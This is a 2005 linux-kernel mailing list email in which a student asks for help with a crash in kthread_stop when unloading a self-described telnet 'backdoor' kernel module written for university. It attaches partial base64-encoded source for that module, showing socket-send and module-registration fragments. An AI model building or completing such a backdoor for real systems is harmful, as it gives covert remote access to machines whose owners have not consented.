Return-Path: Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand id S932151AbVJHPEQ (ORCPT ); Sat, 8 Oct 2005 11:04:16 -0400 Received: (majordomo@vger.kernel.org) by vger.kernel.org id S932153AbVJHPEQ (ORCPT ); Sat, 8 Oct 2005 11:04:16 -0400 Received: from zproxy.gmail.com ([64.233.162.196]:14414 "EHLO zproxy.gmail.com") by vger.kernel.org with ESMTP id S932151AbVJHPEP (ORCPT ); Sat, 8 Oct 2005 11:04:15 -0400 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:mime-version:content-type; b=qqKVGTAyIMTkuF0RVXq2CEUw9g+fr9lKjLXZFZiYHZBZz+jnqMkojvxH/dpi0VRVmeO89G5gbKPl03MTEBi1hqa+ijbLwC2D3iegiIBang3FzFQTTK58BoMp9O2ZFe3lzqWjVRHDtChgseWfiPIUVyVPQJWLSQudhbmJ8eOFg9s= Message-ID: Date: Sat, 8 Oct 2005 12:04:14 -0300 From: Redes II To: linux-kernel@vger.kernel.org Subject: kthread_stop give me an error (kernel 2.6.13 gentoo-sources) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_Part_2367_6952396.1128783854640" Sender: linux-kernel-owner@vger.kernel.org X-Mailing-List: linux-kernel@vger.kernel.org Content-Length: 5735 Lines: 99 ------=_Part_2367_6952396.1128783854640 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline Hi!!! I'm trying to make a module for the university, on kernel 2.6.13. Its a Backdoor - telnet...... but when i try to unload the module, kthread_stop give me this error: Unable to handle kernel NULL pointer dereference at virtual address 0000000= 0 i attached the code.... Help Me!!!! Sebastian Sorry for my bad English. ------=_Part_2367_6952396.1128783854640 Content-Type: text/x-csrc; name="backdoor.c" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="backdoor.c" I2luY2x1ZGUgPGxpbnV4L2tlcm5lbC5oPgojaW5jbHVkZSA8bGlud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c2UgcGFzYSBwb3IgcGFyYW1ldHJvICovCgltc2cubXNn X2lvdi0+aW92X2xlbiA9IGxlbjsgCQkvKiBMYXJnbyBkZWwgYnVmZmVyIGEgZW52aWFyICovCgkK CW9sZGZzID0gZ2V0X2ZzKCk7IHNldF9mcyhLRVJORUxfRFMpOwoJbGVuID0gc29ja19zZW5kbXNn IChzb2NrLCZtc2csbGVuKTsKCXNldF9mcyhvbGRmcyk7CglyZXR1cm4gbGVuOwp9Cgptb2R1bGVf aW5pdChiYWNrZG9vcl9pbml0X21vZHVsZSk7Cm1vZHVsZV9leGl0KGJhY2tkb29yX2V4aXRfbW9k dWxlKTsK ------=_Part_2367_6952396.1128783854640-- - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majordomo@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/